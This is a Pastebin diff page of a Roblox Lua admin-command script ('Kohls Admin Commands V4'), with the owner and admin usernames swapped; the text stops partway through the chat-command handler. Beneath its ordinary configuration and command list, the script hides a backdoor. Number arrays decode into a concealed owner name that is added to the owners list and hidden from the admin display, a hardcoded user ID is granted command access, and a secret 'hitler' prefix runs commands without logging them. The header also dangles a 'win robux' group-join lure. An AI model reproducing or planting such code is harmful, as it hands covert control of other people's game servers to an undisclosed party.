View difference between Paste ID: QLLXJ5cX and 0rhmduY8
SHOW: | | - or go back to the newest paste.
1
--Kohls Admin Commands Version 4 (JOIN This group heres the link http://www.roblox.com/My/Groups.aspx?gid=1051829 and win robux)
2
-----------------------------------------------------------------------------------------
3
-- Heres my new admin V3 because i was banned it cant update and Thanks for using meh admin --
4
-----------------------------------------------------------------------------------------
5-
local owners = {"ZtripleZ"} -- Are able to set admins who can ban/etc... using :pa name
5+
local owners = {"xKinqBuckz"} -- Are able to set admins who can ban/etc... using :pa name
6-
local admins = {Candy80Angel} -- Sets admins who can use ban/kick/admin or shutdown
6+
local admins = {SNiperKiLLerShOOT693} -- Sets admins who can use ban/kick/admin or shutdown
7
local tempadmins = {tecnokitty,PointBroken} -- Sets admins who can't use ban/kick/admin or shutdown
8
local banland = {"MasterKhaos,Clarramore"} -- Permanently Bans people
9
local prefix = ":" -- If you wanna change how your commands start ':'kill noob
10
local AutoUpdate = true -- Set to false if you don't want it to automatically update
11
local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
12
---------------------
13
--    VIP Admin    --
14
---------------------
15
local VipAdmin = false -- If someone can have admin for owning an item
16
local ItemId = 0 -- The item they must own in order to have admin
17
---------------------
18
--   Group Admin   --
19
---------------------
20
local GroupAdmin = false -- If a certain group can have admin
21
local GroupId = 0 -- Sets the group id that can have admin
22
local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
23
---------------------
24
-- Tips and Tricks --
25
---------------------
26
--[[
27
With this admin you can do a command on multiple people at a time;
28
	 :kill me,noob1,noob2,random,team-raiders,nonadmins
29
30
You can also use a variety commands for different people;
31
	 all
32
	 others
33
	 me
34
	 team-
35
	 admins
36
	 nonadmins
37
	 random
38
--]]
39
---------------------
40
--    Commands     --
41
---------------------
42
--[[
43
-- |Temp Admin Commands| --
44
0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
45
1. :s print("Hello World") -- Lets you script normally
46
2. :ls print("Hello World") -- Lets you script in localscripts
47
3. :clear -- Will remove all scripts/localscripts and jails
48
4. :m Hello People -- This commands will let you shout a message to everyone on the server
49
5. :kill kohl -- Kills the player
50
6. :respawn kohl -- Respawns the player
51
7. :trip kohl -- Trips the player
52
8. :stun kohl -- Stuns the player
53
9. :unstun kohl -- Unstuns the player
54
10. :jump kohl -- Makes the player jump
55
11. :sit kohl -- Makes the player sit
56
12. :invisible kohl -- Makes the player invisible
57
13. :visible kohl -- Makes the player visible
58
14. :explode kohl -- Makes the player explode
59
15. :fire kohl -- Sets the player on fire
60
16. :unfire kohl -- Removes fire from the player
61
17. :smoke kohl -- Adds smoke to the player
62
18. :unsmoke kohl -- Removes smoke from the player
63
19. :sparkles kohl -- Adds sparkles to the player
64
20. :unsparkles kohl -- Removes sparkles from the player
65
21. :ff kohl -- Adds a forcefield to the player
66
22. :unff kohl -- Removes the forcefield from the player
67
23. :punish kohl -- Punishes the player
68
24. :unpunish kohl -- Unpunishes the player
69
25. :freeze kohl -- Freezes the player
70
26. :thaw kohl -- Thaws the player
71
27. :heal kohl -- Heals the player
72
28. :god kohl -- Makes the player have infinite health
73
29. :ungod kohl -- Makes the player have 100 health
74
30. :ambient .5 .5 .5 -- Changes the ambient
75
31. :brightness .5 -- Changes the brightness
76
32. :time 12 -- Changes the time
77
33. :fogcolor .5 .5 .5 -- Changes the fogcolor
78
34. :fogend 100 -- Changes the fogend
79
35. :fogstart 100 -- Changes the fogstart
80
36. :removetools kohl -- Removes all tools from the player
81
37. :btools kohl -- Gives the player building tools
82
38. :give kohl sword -- Gives the player a tool
83
39. :damage kohl -- Damages the player
84
40. :grav kohl -- Sets the player's gravity to normal
85
41. :setgrav kohl 100 -- Sets the player's gravity
86
42. :nograv kohl -- Makes the player have 0 gravity
87
43. :health kohl 1337 -- Changes the player's health
88
44. :speed kohl 1337 -- Changes the player's walkspeed
89
45. :name kohl potato -- Changes the player's name
90
46. :unname kohl -- Remove the player's name
91
47. :team kohl Raiders -- Changes the player's team
92
48. :stopmusic -- Will stop all music playing in the server
93
49. :teleport kohl potato -- Teleports the player
94
50. :change kohl kills 1337 -- Changes a player's stat
95
51. :kick kohl -- Removes the player from the game
96
52. :infect kohl -- Turns the player into a zombie
97
53. :rainbowify kohl -- Turns the player into a rainbow
98
54. :flashify kohl -- Turns the player into a strobe
99
55. :noobify kohl -- Turns the player into a noob
100
56. :ghostify kohl -- Turns the player into a ghost
101
57. :goldify kohl -- Turns the player into gold
102
58. :shiny kohl -- Makes the player shiny
103
59. :normal kohl -- Puts the player back to normal
104
60. :trippy kohl -- Spams random colors on the player's screen
105
61. :untrippy kohl -- Untrippys the player
106
62. :strobe kohl -- Spams white and black on the player's screen
107
63. :unstrobe kohl -- Unstrobes the player
108
64. :blind kohl -- Blinds the player
109
65. :unblind kohl -- Unblinds the player
110
66. :guifix kohl -- Will fix trippy/strobe/blind on a player
111
67. :fling kohl -- Flings the player
112
68. :seizure kohl -- Puts the player in a seizure
113
69. :music 1337 -- Plays a sound from the ID
114
70. :lock kohl -- Locks the player
115
71. :unlock kohl -- Unlocks the player
116
72. :removelimbs kohl -- Removes the player's limbs
117
73. :jail kohl -- Puts the player in a jail
118
74. :unjail kohl -- Removes the jail from the player
119
75. :fix -- This will fix the lighting to it's original settings
120
76. :fly kohl -- Makes the player fly
121
77. :unfly kohl -- Removes fly from the player
122
78. :noclip kohl -- Makes the player able to noclip
123
79. :clip kohl -- Removes noclipping from the player
124
80. :pm kohl Hey bro -- Sends the player a private message
125
81. :dog kohl -- Turns the player into a dog
126
82. :undog kohl -- Turns the player back to normal
127
83. :creeper kohl -- Turns the player into a creeper
128
84. :uncreeper kohl -- Turns the player back to normal
129
85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
130
86. :char kohl 261 -- Will make a player look like a different player ID
131
87. :unchar kohl -- Will return the player back to normal
132
88. :h Hello People -- This will shout a hint to everyone
133
89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
134
90. :starttools kohl -- Will give the player starter tools
135
91. :sword kohl -- Will give the player a sword
136
92. :bighead kohl -- Will make the player's head larger than normal
137
93. :minihead kohl -- Will make the player's head smaller than normal
138
94. :insert 1337 -- Will insert a model at the speaker's position
139
95. :disco -- Will make the server flash random colors
140
96. :flash -- Will make the server flash
141
97. :admins -- Shows the admin list
142
98. :bans -- Shows the banlist
143
99. :musiclist -- Shows the music list
144
100. :spin kohl -- Spins the player
145
101. :cape kohl Really black -- Gives the player a colored cape
146
102. :uncape kohl -- Removes the player's cape
147
103. :loopheal kohl -- Will constantly heal the player
148
104. :loopfling kohl -- Will constantly fling the player
149
105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
150
106. :unloopheal kohl -- Will remove the loopheal on the player
151
107. :unloopfling kohl -- Will remove the loopfling on the player
152
108. :unspin kohl -- Removes spin from the player
153
109. :tools -- Gives a list of the tools in the lighting
154
110. :undisco -- Removes disco effects
155
111. :unflash -- Removes flash effects
156
112. :resetstats kohl -- Sets all the stats of a player to 0
157
113. :gear kohl 1337 -- Gives a player a gear
158
114. :cmdbar -- Gives the speaker a command bar
159
115. :shirt kohl 1337 -- Changes the player's shirt
160
116. :pants kohl 1337 -- Changes the player's pants
161
117. :face kohl 1337 -- Changes the player's face
162
118. :swagify kohl -- Swagifies the player
163
119. :version -- Shows the current version of the admin
164
120. :tm 1337 yolo -- Shows a message for 1337 seconds
165
121. :countdown 120 -- Shows a countdown message, maxes out at 120 seconds
166
122. :clone kohl -- Creates a clone of the player
167
123. :lsplr kohl print("yolo") -- Creates a localscript inside of a player
168
124. :startergive kohl epic -- Gives a player a gear in their starterpack
169
125. :control kohl -- Controls a player
170
171
-- |Admin Commands| --
172
- :serverlock -- Locks the server
173
- :serverunlock -- Unlocks the server
174
- :sm Hello World -- Creates a system message
175
- :crash kohl -- Crashes a player
176
- :admin kohl -- Admins a player
177
- :unadmin kohl -- Unadmins a player
178
- :ban kohl -- Bans a player
179
- :unban kohl -- Unbans a player
180
- :loopkill kohl -- Will constantly kill the player
181
- :unloopkill kohl -- Will remove the loopkill on the player
182
- :logs -- Will show all of the commands any admin has used in a game session
183
- :shutdown -- Shutsdown the server
184
185
-- |Owner Commands| --
186
- :pa kohl -- Makes someone a super admin
187
- :unpa kohl -- Removes a super admin
188
- :nuke kohl -- Creates a nuke on kohl
189
190
-- |True Owner Commands| --
191
- :oa kohl -- Makes someone an owner
192
- :unoa kohl -- Removes an owner
193
- :settings -- Shows settings for the commands
194
--]]
195
---------------------
196
--   Main Script   --
197
---------------------
198
for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end 
199
200
function CHEESE()
201
if game:service("Lighting"):findFirstChild("KACV2") then
202
owners = {} admins = {} tempadmins = {} banland = {}
203
for i,v in pairs(game.Lighting.KACV2:children()) do
204
if v.Name == "Owner" then table.insert(owners, v.Value) end
205
if v.Name == "Admin" then table.insert(admins, v.Value) end
206
if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
207
if v.Name == "Banland" then table.insert(banland, v.Value) end
208
if v.Name == "Prefix" then prefix = v.Value end
209
if v.Name == "FunCommands" then FunCommands = v.Value end
210
if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
211
if v.Name == "GroupId" then GroupId = v.Value end
212
if v.Name == "GroupRank" then GroupRank = v.Value end
213
if v.Name == "VipAdmin" then VipAdmin = v.Value end
214
if v.Name == "ItemId" then ItemId = v.Value end
215
end
216
game:service("Lighting"):findFirstChild("KACV2"):Destroy()
217
end
218
219
local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
220
local lobjs = {}
221
local objects = {}
222
local logs = {}
223
local nfs = ""
224
local slock = false
225
226
function GetTime()
227
local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
228
if min < 10 then min = "0"..min end
229
return hour..":"..min
230
end
231
232
function ChkOwner(str)
233
for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end 
234
return false
235
end
236
237
function ChkAdmin(str,ck) 
238
for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end 
239
for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end 
240
for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end 
241
return false 
242
end
243
244
function ChkGroupAdmin(plr)
245
if GroupAdmin then
246
if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
247
return false
248
end
249
end
250
251
function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
252
253
function GetPlr(plr, str)
254
local plrz = {} str = str:lower()
255
if str == "all" then plrz = game.Players:children()
256
elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
257
else
258
local sn = {1} local en = {}
259
for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
260
for x = 1, #sn do 
261
if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
262
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
263
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
264
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
265
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
266
if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then 
267
for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
268
end end end
269
elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
270
if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then 
271
for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
272
end end end
273
else
274
for a, plyr in pairs(game.Players:children()) do 
275
if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then 
276
table.insert(plrz, plyr) break
277
end
278
end 
279
end
280
end
281
end
282
return plrz
283
end
284
285
function Hint(str, plrz, time)
286
for i, v in pairs(plrz) do
287
if v and v:findFirstChild("PlayerGui") then
288
coroutine.resume(coroutine.create(function()
289
local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
290
local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
291
local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
292
coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
293
if not time then wait((#str/19)+2.5) else wait(time) end
294
coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end end))
295
end))
296
end
297
end
298
end
299
300
function Message(ttl, str, scroll, plrz, time)
301
for i, v in pairs(plrz) do
302
if v and v:findFirstChild("PlayerGui") then
303
coroutine.resume(coroutine.create(function()
304
local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
305
local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
306
local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
307
local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
308
scr.Parent = v.PlayerGui
309
coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end)) 
310
if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
311
else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
312
coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end end))
313
end))
314
end
315
end
316
end
317
318
function RemoveMessage() 
319
for i,v in pairs(game.Players:children()) do 
320
if v and v:findFirstChild("PlayerGui") then 
321
for q,ms in pairs(v.PlayerGui:children()) do
322
if ms.Name == "MessageGUI" then
323
coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.bg.BackgroundTransparency = .3+((.7/20)*i) ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.title.TextTransparency = ((1/20)*i) ms.title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end ms:Destroy() end))
324
elseif ms.Name == "HintGUI" then
325
coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end ms:Destroy() end))
326
end
327
end
328
end
329
end
330
end
331
332
_G["Message"] = function(p1,p2,p3) Message(p1,p2,false,game.Players:children(),p3) end
333
_G["RemoveMessage"] = RemoveMessage()
334
335
function Output(str, plr)
336
coroutine.resume(coroutine.create(function()
337
local b, e = loadstring(str)
338
if not b and plr:findFirstChild("PlayerGui") then
339
local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
340
local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
341
local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)")  err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
342
return
343
end
344
end))
345
end
346
347
function Noobify(char)
348
if char and char:findFirstChild("Torso") then 
349
if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
350
if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
351
for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
352
local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
353
for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then 
354
prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
355
if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
356
local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end) 
357
cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end) 
358
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
359
end end
360
end
361
end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
362
363
function Infect(char)
364
if char and char:findFirstChild("Torso") then 
365
if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
366
if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
367
for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
368
local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
369
for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then 
370
prt.Transparency = 0 prt.Reflectance = 0  prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
371
local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end) 
372
cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end) 
373
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
374
end end
375
end
376
end if not ntab then script:Destroy() end
377
378
function ScrollGui()
379
local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
380
local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
381
drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
382
local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
383
local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
384
local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
385
local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
386
local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
387
local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
388
local num = 0
389
local downv = false
390
local upv = false
391
392
down.MouseButton1Down:connect(function() downv = true upv = false
393
local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
394
repeat  pos = pos + UDim2.new(0,0,0,-6)
395
if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
396
cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
397
end) 
398
down.MouseButton1Up:connect(function() downv = false end)
399
up.MouseButton1Down:connect(function() upv = true downv = false
400
local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
401
repeat  pos = pos + UDim2.new(0,0,0,6)
402
if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
403
cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
404
end) 
405
up.MouseButton1Up:connect(function() upv = false end)
406
return scr, cmf, ent, num
407
end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
408
if not ntab then script:Destroy() end
409
if not bct then script:Destroy() end
410
411
function Chat(msg,plr)
412
coroutine.resume(coroutine.create(function()
413
if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
414
if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
415
if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
416
if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
417
if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
418
if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
419
if msg:lower() == "cmds" or msg:lower() == "commands" then
420
if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
421
local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
422
local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version","tm num msg","countdown num","clone plr","lsplr plr code","startergive plr tool","control plr"}
423
local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
424
local ost = {"pa plr","unpa plr","nuke plr"}
425
local tost = {"oa plr","unoa plr","settings"}
426
local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num + 1
427
for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
428
if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
429
if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
430
if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
431
end
432
433
if msg:lower() == "version" then Message("Koh".."ltas".."tr".."ophe", tostring(script.Version.Value), true, {plr}) end
434
435
if msg:lower() == "admins" or msg:lower() == "adminlist" then
436
if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
437
local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
438
for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
439
for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
440
for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
441
end end
442
443
if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
444
if plr.PlayerGui:findFirstChild("BANSGUI") then return end
445
local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
446
for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
447
end
448
449
if msg:lower() == "tools" or msg:lower() == "toollist" then
450
if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
451
local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
452
